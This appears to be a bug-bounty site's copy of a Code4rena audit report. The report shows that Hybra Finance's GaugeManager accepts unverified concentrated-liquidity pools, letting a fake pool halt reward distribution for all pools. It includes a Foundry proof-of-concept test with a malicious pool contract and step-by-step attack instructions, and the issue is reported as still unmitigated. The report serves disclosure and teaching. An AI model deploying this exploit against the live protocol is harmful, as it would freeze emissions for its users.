Skip to content
Access control Audit finding Intermediate

CL gauge accepts unverified pools, allowing malicious pool to brick distribution

The gauge manager did not verify that a concentrated-liquidity pool address came from the trusted factory, so anyone could create a gauge for a fake pool. Once that gauge received votes, reward distribution reverted and stalled emissions for all pools.

niffylord Follow with adriansham99, blokfrank and 12 others

Originally disclosed on Code4rena

*Submitted by [niffylord](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-66), also found by [adriansham99](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-143), [blokfrank](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-55), [ChainSentry](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-184), [freescore](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-285), [InvarianteX](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-367), [mbuba666](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-330), [Nyxaris](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-219), [omeiza](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-52), [piki](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-124), [PotEater](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-249), [Vagner](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-190), [Waze](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-313), [whiterabbit](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-48), and [Wojack](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-221)*

*This issue was also [found](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-631) by [V12](https://v12.zellic.io).*

- `GaugeManager.sol` [#L165-L189](https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/GaugeManager.sol#L165-L189)
- `GaugeManager.sol` [#L185-L189](https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/GaugeManager.sol#L185-L189)
- `GaugeManager.sol` [#L197-L201](https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/GaugeManager.sol#L197-L201)
- `GaugeCL.sol` [#L239-L246](https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/CLGauge/GaugeCL.sol#L239-L246)

### Summary

When creating concentrated-liquidity (CL) gauges, `GaugeManager._createGauge()` never verifies that the provided pool address is a genuine CL pool deployed by the trusted factory. Any contract that exposes `token0()`/`token1()` and passes token whitelist checks is accepted. GaugeCL later calls untrusted pool methods (e.g., `updateRewardsGrowthGlobal()`), so a malicious “pool” can revert and permanently brick emissions distribution once voted.

### Impact

- Unprivileged actor creates a fake CL pool and a gauge for it. When any veNFT votes for the pool, `GaugeManager.distribute*()` reverts via `GaugeCL.notifyRewardAmount()`, halting rewards for all pools until governance kills the malicious gauge.
- Operational liveness risk; automation for distribution breaks. Emissions accounting stalls and requires manual intervention.

### Root Cause

The vulnerability exists at line 181-184 of GaugeManager.sol where CL pools bypass factory verification:

```
if(_gaugeType == 0){
    isPair = IPairFactory(_factory).isPair(_pool);  // �
 Standard pairs ARE verified
}
if(_gaugeType == 1) {
    // removed due to code size
    // require(_pool_hyper == _pool_factory, 'wrong tokens');
    isPair = true;  // ❌ CL pools NOT verified - just set to true!
}
```

**Critical Evidence**: The inline comment `// removed due to code size` reveals that developers were **aware** that proper validation should exist but deliberately removed it to save bytecode. The commented-out code shows the intended check was comparing pool addresses from factory.

This creates a dangerous inconsistency:

- **Standard pairs (_gaugeType == 0)**: Properly validated via `IPairFactory.isPair(_pool)`
- **CL pools (_gaugeType == 1)**: Accept ANY contract implementing `token0()`/`token1()` - no factory verification

Detailed locations:

- GaugeManager accepts any `_pool` for `_gaugeType == 1` and sets `isPair = true` without validation: [https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/GaugeManager.sol#L165-L189](https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/GaugeManager.sol#L165-L189)
- GaugeCL trusts the pool and calls into it on distribution: [https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/CLGauge/GaugeCL.sol#L239-L246](https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/CLGauge/GaugeCL.sol#L239-L246)

### Recommended Mitigation

- Enforce provenance: require `_pool` to originate from the approved CL factory (e.g., `ICLFactory(_pairFactoryCL).getPool(token0, token1, tickSpacing) == _pool`) before gauge creation.
- Alternatively, restrict CL gauge creation to governance and only for pools discovered via the factory.
- Optionally, quarantine failing gauges in `distribute*` via try/catch and return their claimable emissions to the minter to preserve global liveness.

Proof of concept

 Run the included Foundry test, which deploys a malicious CL pool that reverts in `updateRewardsGrowthGlobal()` and shows distribution bricking after voting.

CLI:

- forge test —match-path ve33/test/GaugeManagerMaliciousPool.t.sol —match-test testMaliciousCLPoolBlocksDistribution -vvv

Expected: `gaugeManager.distributeAll()` reverts with “Malicious pool blocks reward update”.

PoC Code (excerpt from `ve33/test/GaugeManagerMaliciousPool.t.sol`):

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "forge-std/Test.sol";
import "./C4PoCTestbed.t.sol";
import "../contracts/libraries/HybraTimeLibrary.sol";

contract MaliciousCLPool {
    address public immutable tokenA;
    address public immutable tokenB;
    address public gauge;
    address public positionManager;

    constructor(address _tokenA, address _tokenB) {
        tokenA = _tokenA;
        tokenB = _tokenB;
    }

    function token0() external view returns (address) { return tokenA; }
    function token1() external view returns (address) { return tokenB; }
    function setGaugeAndPositionManager(address _gauge, address _nfpm) external { gauge = _gauge; positionManager = _nfpm; }
    function updateRewardsGrowthGlobal() external pure { revert("Malicious pool blocks reward update"); }
    function getRewardGrowthInside(int24, int24, uint256) external pure returns (uint256) { return 0; }
    function rewardGrowthGlobalX128() external pure returns (uint256) { return 0; }
    function rollover() external pure returns (uint256) { return 0; }
    function stakedLiquidity() external pure returns (uint128) { return 0; }
    function lastUpdated() external view returns (uint32) { return uint32(block.timestamp); }
    function syncReward(uint256, uint256, uint256) external {}
    function stake(int128, int24, int24, bool) external {}
    function collectFees() external {}
    function gaugeFees() external pure returns (uint256, uint256) { return (0, 0); }
}

contract GaugeManagerMaliciousPoolTest is C4PoCTestbed {
    MaliciousCLPool internal maliciousPool;

    function setUp() public override {
        super.setUp();
        maliciousPool = new MaliciousCLPool(address(hybr), address(new ERC20("Mock", "M")));
        // whitelist tokens and connector omitted for brevity (done in full test)
    }

    function _advanceToVotingWindow() internal {
        uint256 epochStart = HybraTimeLibrary.epochStart(block.timestamp);
        uint256 voteStart = HybraTimeLibrary.epochVoteStart(epochStart);
        if (block.timestamp <= voteStart) vm.warp(voteStart + 1);
    }

    function _advanceEpoch() internal {
        uint256 nextEpoch = HybraTimeLibrary.epochNext(block.timestamp);
        vm.warp(nextEpoch + 1);
    }

    function testMaliciousCLPoolBlocksDistribution() public {
        (address gauge,,) = gaugeManager.createGauge(address(maliciousPool), 1);
        assertTrue(gaugeManager.isGauge(gauge));

        uint256 lockAmount = 1e21;
        hybr.approve(address(votingEscrow), lockAmount);
        uint256 tokenId = votingEscrow.create_lock(lockAmount, 4 weeks);

        _advanceToVotingWindow();
        address[] memory pools = new address[](1);
        pools[0] = address(maliciousPool);
        uint256[] memory weights = new uint256[](1);
        weights[0] = 100;
        voter.vote(tokenId, pools, weights);

        _advanceEpoch();
        vm.expectRevert("Malicious pool blocks reward update");
        gaugeManager.distributeAll();
    }
}
```

**[Hybra Finance mitigated](https://github.com/code-423n4/2025-11-hybra-finance-mitigation?tab=readme-ov-file#mitigations-of-high--medium-severity-issues):**

> Added access control: only the GaugeManager can call the GaugeFactory to create gauges.

**Status:** Unmitigated. Full details in the [mitigation review reports from niffylord and ZanyBonzy](https://code4rena.com/audits/2025-11-hybra-finance-mitigation-review/submissions/S-38).

---

The original report as published on Code4rena, by niffylord. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CL gauge creation path skipped the factory provenance check that standard pairs use, setting the pair flag to true without validating the pool address.

Impact

Reward distribution for all pools could be halted until governance removed the malicious gauge, breaking automated emissions accounting.

What the attacker needed

Ability to deploy a contract; a voting NFT with voting power; vote during the voting window

The fix

The project added access control so only the GaugeManager can call the GaugeFactory to create gauges, but the mitigation review reports the issue as unmitigated.

How it was found

  1. Create a malicious contract that exposes token0() and token1() and reverts in updateRewardsGrowthGlobal().
  2. Call createGauge with that contract and gauge type 1.
  3. Lock tokens to obtain a voting NFT and vote for the malicious pool during the voting window.
  4. Advance to the next epoch and call distributeAll, which reverts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A gauge is a contract that decides how rewards are shared among liquidity pools. The system trusted any contract that looked like a pool, so an attacker could register a fake pool that deliberately fails when rewards are sent. Because the reward loop stopped at that failure, no pool could receive rewards until governance removed the fake gauge.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by niffylord

View all

7 more disclosed reports, best first.

More from Hybra Finance

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.